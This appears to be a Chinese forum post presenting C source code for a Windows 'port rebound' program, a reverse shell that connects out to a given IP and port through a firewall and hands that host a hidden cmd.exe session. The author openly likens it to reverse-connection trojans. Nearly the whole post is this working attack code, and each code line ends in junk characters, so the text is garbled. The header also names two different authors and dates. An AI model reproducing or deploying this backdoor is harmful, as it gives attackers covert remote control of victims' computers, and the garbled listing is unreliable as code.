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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,Y_{L|:w  
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/* ============================== m(D]qYwh  
Rebound port in Windows NT X{Yw+F,j  
By wind,2006/7 >QQ(m\a$  
===============================*/ KYJ1}5n  
#include K5 3MMH[q#  
#include S6nhvU:  
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#pragma comment(lib,"wsock32.lib") gLD`wfZR  
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void OutputShell(); 1F[L"W;r  
SOCKET sClient; bTmL5}n  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #$S}3 o  
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void main(int argc,char **argv) i;\s.wrzH  
{ ]7sx;KFv  
WSADATA stWsaData; s}M= oe  
int nRet; cl[!`Z  
SOCKADDR_IN stSaiClient,stSaiServer; #~:P}<h  
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if(argc != 3) Dkw%`(Oh/,  
{ O[~x_xeW  
printf("Useage:\n\rRebound DestIP DestPort\n"); S{F-ttS"  
return; 4Tzd; P6_  
} 3{raKM6F  
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WSAStartup(MAKEWORD(2,2),&stWsaData); (Ha@s^?.C  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _cJ[ FP1  
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stSaiClient.sin_family = AF_INET; /  YiQ\  
stSaiClient.sin_port = htons(0); _68BP)nz>.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4Wel[]  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yFIy`9R  
{ 'aJgLws*w  
printf("Bind Socket Failed!\n"); Lrz3   
return;  ~m=EM;  
} I\P Bu$Ww  
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stSaiServer.sin_family = AF_INET; ?v]-^X=&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F:FMeg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O0~vf[i];  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O>r-]0DI[  
{ c|p,/L09L  
printf("Connect Error!"); Aw ^yH+ae  
return; Rz <OF^Iy  
} +}7fg82)  
OutputShell(); n"{X!(RIcx  
} kka"C]!  
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void OutputShell() R zR?&J  
{ +`en{$%%  
char szBuff[1024]; wJ"ev.A)  
SECURITY_ATTRIBUTES stSecurityAttributes; }Ag|gF!_  
OSVERSIONINFO stOsversionInfo; SQ(apc}N4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J}g~uW  
STARTUPINFO stStartupInfo; y%BX]~  
char *szShell; O;XG^s@5  
PROCESS_INFORMATION stProcessInformation; w*LbH]l<-  
unsigned long lBytesRead; Evu=M-?  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7Ur?ep  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,\ldz(D?+  
stSecurityAttributes.lpSecurityDescriptor = 0; CDg AGy  
stSecurityAttributes.bInheritHandle = TRUE; 60B-ay0e$b  
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6XUuGxQV/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V% axeqs  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4KpL>'Q=  
^[# & ^[-V  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J%v5d*$.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GG-[`!>.pw  
stStartupInfo.wShowWindow = SW_HIDE; O&?.&h  
stStartupInfo.hStdInput = hReadPipe; =V$j6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M-9gD[m  
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GetVersionEx(&stOsversionInfo); 4rB8Nm1  
] pPz@@xx  
switch(stOsversionInfo.dwPlatformId) /)#8)"`nT  
{ ziL^M"~2  
case 1: _vYzF+  
szShell = "command.com"; ?X_V#8JK  
break; U{1z;lJ  
default: us{nyil1  
szShell = "cmd.exe"; hY8#b)l~lu  
break;  WR.x&m>  
} bkQ3c-C<  
mN1Ssq"B  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +uQB rG  
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send(sClient,szMsg,77,0); *Zkss   
while(1) rY70 ^<z  
{ 9;f|EGwZ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); : }?{@#Z  
if(lBytesRead) ZlR!s!vv  
{ Aka^e\Y@6*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); womq^h6  
send(sClient,szBuff,lBytesRead,0); [8]m8=n  
} g()m/KS<  
else xPQL?.  
{ jXIEp01  
lBytesRead=recv(sClient,szBuff,1024,0); p5*lEz|$  
if(lBytesRead<=0) break; =MSu3<y,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qi=3L  
} [&VxaJ("3  
} lizTRVBE  
!WKk=ysFS  
return;  (K #A  
}
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